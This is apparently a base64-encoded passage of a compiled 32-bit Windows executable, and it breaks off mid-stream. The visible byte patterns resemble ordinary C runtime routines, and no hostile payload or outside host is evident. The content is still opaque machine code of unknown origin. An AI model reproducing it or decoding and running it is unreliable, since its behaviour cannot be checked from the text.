GLTQjHAGxiABCLCYlIBMZACABdwggAi0EEhcB1Bbh0YgAQw4v/VYvsg30IAFeL+XQtVv91COgjGQAAjXABVuhAAgAAWVmJRwSFwHQR/3UIVlDooRgAAIPEDMZHCAFeX13CBACL/1aL8YB+CAB0Cf92BOi98P//WYNmBADGRggAXsOL/1WL7FaLdQhXi/k7/nQd6M3///+AfggAdAz/dgSLz+h9////6waLRgSJRwSLx19eXcIEAMcBbGIAEOmi////i/9Vi+xWi/HHBmxiABDoj/////ZFCAF0B1boXgAAAFmLxl5dwgQAi/9Vi+xW/3UIi/GDZgQAxwZsYgAQxkYIAOh7////i8ZeXcIEAIv/UccBjGIAEOiUGgAAWcOL/1WL7FaL8ejj////9kUIAXQHVugIAAAAWYvGXl3CBACL/1WL7F3p6u///4v/VYvsUVNWizUgYAAQV/81aKkAEP/W/zVkqQAQi9iJXfz/1ovwO/MPgoEAAACL/iv7jUcEg/gEcnVT6CwbAACL2I1HBFk72HNIuAAIAAA72HMCi8MDwzvDcg9Q/3X86FHw//9ZWYXAdRaNQxA7w3I+UP91/Og78P//WVmFwHQvwf8CUI00uP8VOGAAEKNoqQAQ/3UIiz04YAAQ/9eJBoPGBFb/16NkqQAQi0UI6wIzwF9eW8nDi/9WagRqIOin7///WVmL8Fb/FThgABCjaKkAEKNkqQAQhfZ1BWoYWF7DgyYAM8Bew2oMaACDABDowfn//+hO8P//g2X8AP91COj8/v//WYlF5MdF/P7////oCQAAAItF5Ojd+f//w+gt8P//w4v/VYvs/3UI6Lf////32BvA99hZSF3Di/9Vi+xTi10Ig/vgd29WV4M9IKAAEAB1GOgdFgAAah7oZxQAAGj/AAAA6MXv//9ZWYXbdASLw+sDM8BAUGoA/zUgoAAQ/xWsYAAQi/iF/3UmagxeOQXopwAQdA1T6EEAAABZhcB1qesH6DwNAACJMOg1DQAAiTCLx19e6xRT6CAAAABZ6CENAADHAAwAAAAzwFtdw4v/VYvsi0UIoySgABBdw4v/VYvs/zUkoAAQ/xUgYAAQhcB0D/91CP/QWYXAdAUzwEBdwzPAXcOL/1WL7IPsIItFCFZXaghZvpBiABCNfeDzpYlF+ItFDF+JRfxehcB0DPYACHQHx0X0AECZAY1F9FD/dfD/deT/deD/FbBgABDJwggAi/9WVzP2vyigABCDPPWskAAQAXUdjQT1qJAAEIk4aKAPAAD/MIPHGP8VdGAAEIXAdAxGg/4kfNMzwEBfXsODJPWokAAQADPA6/GL/1OLHYBgABBWvqiQABBXiz6F/3QTg34EAXQNV//TV+gq7f//gyYAWYPGCIH+yJEAEHzcvqiQABBfiwaFwHQJg34EAXUDUP/Tg8YIgf7IkQAQfOZeW8OL/1WL7ItFCP80xaiQABD/FbRgABBdw2oMaCCDABDon/f//zP/R4l95DPbOR0goAAQdRjoSxQAAGoe6JUSAABo/wAAAOjz7f//WVmLdQiNNPWokAAQOR50BIvH621qGOjO7P//WYv4O/t1D+iCCwAAxwAMAAAAM8DrUGoK6FgAAABZiV38OR51K2igDwAAV/8VdGAAEIXAdRdX6Fns//9Z6E0LAADHAAwAAACJXeTrC4k+6wdX6D7s//9Zx0X8/v///+gJAAAAi0Xk6Dj3///DagroKf///1nDi/9Vi+yLRQhWjTTFqJAAEIM+AHUTUOgj////WYXAdQhqEei57///Wf82/xW4YAAQXl3Di/9Vi+xTVos1TGAAEFeLfQhX/9aLh7AAAACFwHQDUP/Wi4e4AAAAhcB0A1D/1ouHtAAAAIXAdANQ/9aLh8AAAACFwHQDUP/WjV9Qx0UIBgAAAIF7+MiRABB0CYsDhcB0A1D/1oN7/AB0CotDBIXAdANQ/9aDwxD/TQh11ouH1AAAAAW0AAAAUP/WX15bXcOL/1WL7FeLfQiF/w+EgwAAAFNWizVcYAAQV//Wi4ewAAAAhcB0A1D/1ouHuAAAAIXAdANQ/9aLh7QAAACFwHQDUP/Wi4fAAAAAhcB0A1D/1o1fUMdFCAYAAACBe/jIkQAQdAmLA4XAdANQ/9aDe/wAdAqLQwSFwHQDUP/Wg8MQ/00IddaLh9QAAAAFtAAAAFD/1l5bi8dfXcOL/1WL7FNWi3UIi4a8AAAAM9tXO8N0bz3YmgAQdGiLhrAAAAA7w3ReORh1WouGuAAAADvDdBc5GHUTUOiE6v///7a8AAAA6A4aAABZWYuGtAAAADvDdBc5GHUTUOhj6v///7a8AAAA6IQZAABZWf+2sAAAAOhL6v///7a8AAAA6EDq//9ZWYuGwAAAADvDdEQ5GHVAi4bEAAAALf4AAABQ6B/q//+LhswAAAC/gAAAACvHUOgM6v//i4bQAAAAK8dQ6P7p////tsAAAADo8+n//4PEEIuG1AAAAD3QkQAQdBs5mLQAAAB1E1DoihUAAP+21AAAAOjK6f//WVmNflDHRQgGAAAAgX/4yJEAEHQRiwc7w3QLORh1B1Dopen//1k5X/x0EotHBDvDdAs5GHUHUOiO6f//WYPHEP9NCHXHVuh/6f//WV9eW13Di/9Vi+xXi30Mhf90O4tFCIXAdDRWizA793QoV4k46Gr9//9ZhfZ0G1bo7v3//4M+AFl1D4H+OJMAEHQHVuhz/v//WYvHXusCM8BfXcNqDGhAgwAQ6Orz///o6eX//4vwoSybABCFRnB0IoN+bAB0HOjS5f//i3BshfZ1CGog6Lfs//9Zi8bo/fP//8NqDOjH/P//WYNl/AD/NRCUABCDxmxW6Fn///9ZWYlF5MdF/P7////oAgAAAOu+agzowPv//1mLdeTDLaQDAAB0IoPoBHQXg+gNdAxIdAMzwMO4BAQAAMO4EgQAAMO4BAgAAMO4EQQAAMOL/1ZXi/BoAQEAADP/jUYcV1DoBxkAADPAD7fIi8GJfgSJfgiJfgzB4RALwY1+EKurq7kYlAAQg8QMjUYcK86/AQEAAIoUAYgQQE91942GHQEAAL4AAQAAihQIiBBATnX3X17Di/9Vi+yB7BwFAAChAJAAEDPFiUX8U1eNhej6//9Q/3YE/xW8YAAQvwABAACFwA+E/AAAADPAiIQF/P7//0A7x3L0ioXu+v//xoX8/v//IITAdDCNne/6//8PtsgPtgM7yHcWK8FAUI2UDfz+//9qIFLoRBgAAIPEDIpDAYPDAoTAddZqAP92DI2F/Pr///92BFBXjYX8/v//UGoBagDoxRsAADPbU/92BI2F/P3//1dQV42F/P7//1BX/3YMU+h4GgAAg8REU/92BI2F/Pz//1dQV42F/P7//1BoAAIAAP92DFPoUxoAAIPEJDPAD7eMRfz6///2wQF0DoBMBh0QiowF/P3//+sR9sECdBWATAYdIIqMBfz8//+IjAYdAQAA6weInAYdAQAAQDvHcr/rUo2GHQEAAMeF5Pr//5////8zySmF5Pr//4uV5Pr//42EDh0BAAAD0I1aIIP7GXcKgEwOHRCNUSDrDYP6GXcMgEwOHSCNUeCIEOsDxgAAQTvPcsaLTfxfM81b6ETd///Jw2oMaGCDABDoTvH//+hN4///i/ihLJsAEIVHcHQdg39sAHQXi3dohfZ1CGog6CDq//9Zi8boZvH//8NqDegw+v//WYNl/ACLd2iJdeQ7NUCYABB0NoX2dBpW/xVcYAAQhcB1D4H+GJQAEHQHVugf5v//WaFAmAAQiUdoizVAmAAQiXXkVv8VTGAAEMdF/P7////oBQAAAOuOi3Xkag3o9vj//1nDi/9Vi+yLRQhWi/HGRgwAhcB1Y+ii4v//iUYIi0hsiQ6LSGiJTgSLDjsNEJQAEHQSiw0smwAQhUhwdQfogPz//4kGi0YEOwVAmAAQdBaLRgiLDSybABCFSHB1COj8/v//iUYEi0YI9kBwAnUUg0hwAsZGDAHrCosIiQ6LQASJRgSLxl5dwgQAi/9Vi+yD7BBTM9tTjU3w6GX///+JHXihABCD/v51HscFeKEAEAEAAAD/FcRgABA4Xfx0RYtN+INhcP3rPIP+/XUSxwV4oQAQAQAAAP8VwGAAEOvbg/78dRKLRfCLQATHBXihABABAAAA68Q4Xfx0B4tF+INgcP2LxlvJw4v/VYvsg+wgoQCQABAzxYlF/FOLXQxWi3UIV+hk////i/gz9ol9CDv+dQ6Lw+gz/P//M8DpoQEAAIl15DPAObhImAAQD4SRAAAA/0Xkg8AwPfAAAABy54H/6P0AAA+EdAEAAIH/6f0AAA+EaAEAAA+3x1D/FchgABCFwA+EVgEAAI1F6FBX/xW8YAAQhcAPhDcBAABoAQEAAI1DHFZQ6OAUAAAz0kKDxAyJewSJcww5VegPhvwAAACAfe4AD4TTAAAAjXXvig6EyQ+ExgAAAA+2Rv8PtsnpqQAAAGgBAQAAjUMcVlDomRQAAItN5IPEDGvJMIl14I2xWJgAEIl15OsrikYBhMB0KQ+2Pg+2wOsSi0XgioBEmAAQCEQ7HQ+2RgFHO/h26ot9CIPGAoA+AHXQi3Xk/0Xgg8YIg33gBIl15HLpi8eJewTHQwgBAAAA6OL6//9qBolDDI1DEI2JTJgAEFpmizFmiTCDwQKDwAJKdfGL8+hQ+///6bT+//+ATAMdBEA7wXb2g8YCgH7/AA+FMP///41DHrn+AAAAgAgIQEl1+YtDBOiK+v//iUMMiVMI6wOJcwgzwA+3yIvBweEQC8GNexCrq6vrpzk1eKEAEA+FVP7//4PI/4tN/F9eM81b6LTZ///Jw2oUaICDABDovu3//4NN4P/oud///4v4iX3c6FH8//+LX2iLdQjocf3//4lFCDtDBA+EVwEAAGggAgAA6Pri//9Zi9iF2w+ERgEAALmIAAAAi3doi/vzpYMjAFP/dQjotP3//1lZiUXghcAPhfwAAACLddz/dmj/FVxgABCFwHURi0ZoPRiUABB0B1DocOL//1mJXmhTiz1MYAAQ/9f2RnACD4XqAAAA9gUsmwAQAQ+F3QAAAGoN6Cb2//9Zg2X8AItDBKOIoQAQi0MIo4yhABCLQwyjkKEAEDPAiUXkg/gFfRBmi0xDEGaJDEV8oQAQQOvoM8CJReQ9AQEAAH0NikwYHIiIOJYAEEDr6TPAiUXkPQABAAB9EIqMGB0BAACIiECXABBA6+b/NUCYABD/FVxgABCFwHUToUCYABA9GJQAEHQHUOi34f//WYkdQJgAEFP/18dF/P7////oAgAAAOswag3ooPT//1nD6yWD+P91IIH7GJQAEHQHU+iB4f//Weh1AAAAxwAWAAAA6wSDZeAAi0Xg6Hbs///Dgz1sqQAQAHUSav3oVv7//1nHBWypABABAAAAM8DDi/9Vi+yLRQgzyTsEzTiZABB0E0GD+S1y8Y1I7YP5EXcOag1YXcOLBM08mQAQXcMFRP///2oOWTvIG8AjwYPACF3D6Fbd//+FwHUGuKCaABDDg8AIw4v/VYvsi00Ihcl0G2rgM9JY9/E7RQxzD+jQ////xwAMAAAAM8Bdww+vTQxWi/GF9nUBRjPAg/7gdxNWagj/NSCgABD/FaxgABCFwHUygz3opwAQAHQcVuiK8v//WYXAddKLRRCFwHQGxwAMAAAAM8DrDYtNEIXJdAbHAQwAAABeXcOL/1WL7IN9CAB1C/91DOiu8f//WV3DVot1DIX2dQ3/dQjoS+D//1kzwOtNV+swhfZ1AUZW/3UIagD/NSCgABD/FcxgABCL+IX/dV45BeinABB0QFboC/L//1mFwHQdg/7gdstW6Pvx//9Z6Pz+///HAAwAAAAzwF9eXcPo6/7//4vw/xVYYAAQUOib/v//WYkG6+Lo0/7//4vw/xVYYAAQUOiD/v//WYkGi8frymoIaKCDABDogur//+iB3P//i0B4hcB0FoNl/AD/0OsHM8BAw4tl6MdF/P7////oGRQAAOib6v//w2hyOgAQ/xU4YAAQo5ShABDDi/9Vi+yLRQijmKEAEKOcoQAQo6ChABCjpKEAEF3Di/9Vi+yLRQiLDWRiABBWOVAEdA+L8Wv2DAN1CIPADDvGcuxryQwDTQheO8FzBTlQBHQCM8Bdw/81oKEAEP8VIGAAEMNqIGjAgwAQ6Nbp//8z/4l95Il92ItdCIP7C39LdBWLw2oCWSvBdCIrwXQIK8F0WSvBdUPoNdv//4v4iX3Yhf91FIPI/+lUAQAAvpihABChmKEAEOtV/3dci9PoXf///1mNcAiLButRi8OD6A90MoPoBnQhSHQS6Jf9///HABYAAADoxQIAAOu5vqChABChoKEAEOsWvpyhABChnKEAEOsKvqShABChpKEAEMdF5AEAAABQ/xUgYAAQiUXgM8CDfeABD4TWAAAAOUXgdQdqA+jh4f//OUXkdAdQ6Bvy//9ZM8CJRfyD+wh0CoP7C3QFg/sEdRuLT2CJTdSJR2CD+wh1PotPZIlN0MdHZIwAAACD+wh1LIsNWGIAEIlN3IsNXGIAEAMNWGIAEDlN3H0Zi03ca8kMi1dciUQRCP9F3Ovd6PLY//+JBsdF/P7////oFQAAAIP7CHUf/3dkU/9V4FnrGYtdCIt92IN95AB0CGoA6Kzw//9Zw1P/VeBZg/sIdAqD+wt0BYP7BHURi0XUiUdgg/sIdQaLRdCJR2QzwOiF6P//w4v/VYvsi0UIo6yhABBdw4v/VYvsi0UIo7ChABBdw4v/VYvsi0UIo7ShABBdw4v/VYvsgewoAwAAoQCQABAzxYlF/FOLXQhXg/v/dAdT6OHr//9Zg6Xg/P//AGpMjYXk/P//agBQ6KUNAACNheD8//+Jhdj8//+NhTD9//+DxAyJhdz8//+JheD9//+Jjdz9//+Jldj9//+JndT9//+JtdD9//+Jvcz9//9mjJX4/f//ZoyN7P3//2aMncj9//9mjIXE/f//ZoylwP3//2aMrbz9//+cj4Xw/f//i0UEjU0EiY30/f//x4Uw/f//AQABAImF6P3//4tJ/ImN5P3//4tNDImN4Pz//4tNEImN5Pz//4mF7Pz///8VNGAAEGoAi/j/FTBgABCNhdj8//9Q/xUsYAAQhcB1EIX/dQyD+/90B1Po7Or//1mLTfxfM81b6NPS///Jw4v/VmoBvhcEAMBWagLoxf7//4PEDFb/FRhgABBQ/xUoYAAQXsOL/1WL7P81tKEAEP8VIGAAEIXAdANd/+D/dRj/dRT/dRD/dQz/dQjor////8wzwFBQUFBQ6Mf///+DxBTDi/9WVzP//7eomgAQ/xU4YAAQiYeomgAQg8cEg/8ocuZfXsPMzMzMi/9Vi+yLTQi4TVoAAGY5AXQEM8Bdw4tBPAPBgThQRQAAde8z0rkLAQAAZjlIGA+UwovCXcPMzMzMzMzMzMzMzIv/VYvsi0UIi0g8A8gPt0EUU1YPt3EGM9JXjUQIGIX2dBuLfQyLSAw7+XIJi1gIA9k7+3IKQoPAKDvWcugzwF9eW13DzMzMzMzMzMzMzMzMi/9Vi+xq/mjggwAQaGAlABBkoQAAAABQg+wIU1ZXoQCQABAxRfgzxVCNRfBkowAAAACJZejHRfwAAAAAaAAAABDoKv///4PEBIXAdFSLRQgtAAAAEFBoAAAAEOhQ////g8QIhcB0OotAJMHoH/fQg+ABx0X8/v///4tN8GSJDQAAAABZX15bi+Vdw4tF7IsIM9KBOQUAAMAPlMKLwsOLZejHRfz+////M8CLTfBkiQ0AAAAAWV9eW4vlXcOL/1WL7DPAi00IOwzFgG4AEHQKQIP4FnLuM8Bdw4sExYRuABBdw4v/VYvsgez8AQAAoQCQABAzxYlF/FNWi3UIV1bouf///4v4M9tZib0E/v//O/sPhGwBAABqA+hZFQAAWYP4AQ+EBwEAAGoD6EgVAABZhcB1DYM9kJsAEAEPhO4AAACB/vwAAAAPhDYBAABovG8AEGgUAwAAv7ihABBX6LIUAACDxAyFwA+FuAAAAGgEAQAAvuqhABBWU2aj8qMAEP8V2GAAELv7AgAAhcB1H2iMbwAQU1boehQAAIPEDIXAdAwzwFBQUFBQ6Dv9//9W6EYUAABAWYP4PHYqVug5FAAAjQRFdKEAEIvIK85qA9H5aIRvABAr2VNQ6E8TAACDxBSFwHW9aHxvABC+FAMAAFZX6MISAACDxAyFwHWl/7UE/v//VlforhIAAIPEDIXAdZFoECABAGgwbwAQV+grEQAAg8QM615TU1NTU+l5////avT/FXBgABCL8DvzdEaD/v90QTPAigxHiIwFCP7//2Y5HEd0CEA99AEAAHLoU42FBP7//1CNhQj+//9QiF376L4AAABZUI2FCP7//1BW/xXUYAAQi038X14zzVvoKc///8nDagPo3hMAAFmD+AF0FWoD6NETAABZhcB1H4M9kJsAEAF1Fmj8AAAA6CX+//9o/wAAAOgb/v//WVnDi/9Vi+yLVQhWV4XSdAeLfQyF/3UT6Bz3//9qFl6JMOhL/P//i8brM4tFEIXAdQSIAuvii/Ir8IoIiAwGQITJdANPdfOF/3URxgIA6Ob2//9qIlmJCIvx68YzwF9eXcPMzMzMzMzMi0wkBPfBAwAAAHQkigGDwQGEwHRO98EDAAAAde8FAAAAAI2kJAAAAACNpCQAAAAAiwG6//7+fgPQg/D/M8KDwQSpAAEBgXToi0H8hMB0MoTkdCSpAAD/AHQTqQAAAP90AuvNjUH/i0wkBCvBw41B/otMJAQrwcONQf2LTCQEK8HDjUH8i0wkBCvBw4v/VYvsg+wQ/3UIjU3w6Ezx//8PtkUMi030ilUUhFQBHXUeg30QAHQSi03wi4nIAAAAD7cEQSNFEOsCM8CFwHQDM8BAgH38AHQHi034g2Fw/cnDi/9Vi+xqBGoA/3UIagDomv///4PEEF3DzMzMzMzMzMzMzFNWV4tUJBCLRCQUi0wkGFVSUFFRaPBDABBk/zUAAAAAoQCQABAzxIlEJAhkiSUAAAAAi0QkMItYCItMJCwzGYtwDIP+/nQ7i1QkNIP6/nQEO/J2Lo00do1csxCLC4lIDIN7BAB1zGgBAQAAi0MI6DITAAC5AQAAAItDCOhEEwAA67BkjwUAAAAAg8QYX15bw4tMJAT3QQQGAAAAuAEAAAB0M4tEJAiLSAgzyOjYzP//VYtoGP9wDP9wEP9wFOg+////g8QMXYtEJAiLVCQQiQK4AwAAAMNVi0wkCIsp/3Ec/3EY/3Eo6BX///+DxAxdwgQAVVZXU4vqM8Az2zPSM/Yz///RW19eXcOL6ovxi8FqAeiPEgAAM8Az2zPJM9Iz///mVYvsU1ZXagBSaJZEABBR6JwWAABfXltdw1WLbCQIUlH/dCQU6LX+//+DxAxdwggAagxoAIQAEOhC4P//ag7oUun//1mDZfwAi3UIi04Ehcl0L6HkpwAQuuCnABCJReSFwHQROQh1LItIBIlKBFDoQdX//1n/dgToONX//1mDZgQAx0X8/v///+gKAAAA6DHg///Di9DrxWoO6B7o//9Zw8zMzMzMzMzMzMzMzMzMi1QkBItMJAj3wgMAAAB1PIsCOgF1LgrAdCY6YQF1JQrkdB3B6BA6QQJ1GQrAdBE6YQN1EIPBBIPCBArkddKL/zPAw5AbwNHgg8ABw/fCAQAAAHQYigKDwgE6AXXng8EBCsB03PfCAgAAAHSkZosCg8ICOgF1zgrAdMY6YQF1xQrkdL2DwQLriIv/VYvsg30IAHUV6Gjz///HABYAAADolvj//4PI/13D/3UIagD/NSCgABD/FeBgABBdw4v/VYvsVot1CIX2D4RjAwAA/3YE6DLU////dgjoKtT///92DOgi1P///3YQ6BrU////dhToEtT///92GOgK1P///zboA9T///92IOj70////3Yk6PPT////dijo69P///92LOjj0////3Yw6NvT////djTo09P///92HOjL0////3Y46MPT////djzou9P//4PEQP92QOiw0////3ZE6KjT////dkjooNP///92TOiY0////3ZQ6JDT////dlToiNP///92WOiA0////3Zc6HjT////dmDocNP///92ZOho0////3Zo6GDT////dmzoWNP///92cOhQ0////3Z06EjT////dnjoQNP///92fOg40///g8RA/7aAAAAA6CrT////toQAAADoH9P///+2iAAAAOgU0////7aMAAAA6AnT////tpAAAADo/tL///+2lAAAAOjz0v///7aYAAAA6OjS////tpwAAADo3dL///+2oAAAAOjS0v///7akAAAA6MfS////tqgAAADovNL///+2vAAAAOix0v///7bAAAAA6KbS////tsQAAADom9L///+2yAAAAOiQ0v///7bMAAAA6IXS//+DxED/ttAAAADod9L///+2uAAAAOhs0v///7bYAAAA6GHS////ttwAAADoVtL///+24AAAAOhL0v///7bkAAAA6EDS////tugAAADoNdL///+27AAAAOgq0v///7bUAAAA6B/S////tvAAAADoFNL///+29AAAAOgJ0v///7b4AAAA6P7R////tvwAAADo89H///+2AAEAAOjo0f///7YEAQAA6N3R////tggBAADo0tH//4PEQP+2DAEAAOjE0f///7YQAQAA6LnR////thQBAADortH///+2GAEAAOij0f///7YcAQAA6JjR////tiABAADojd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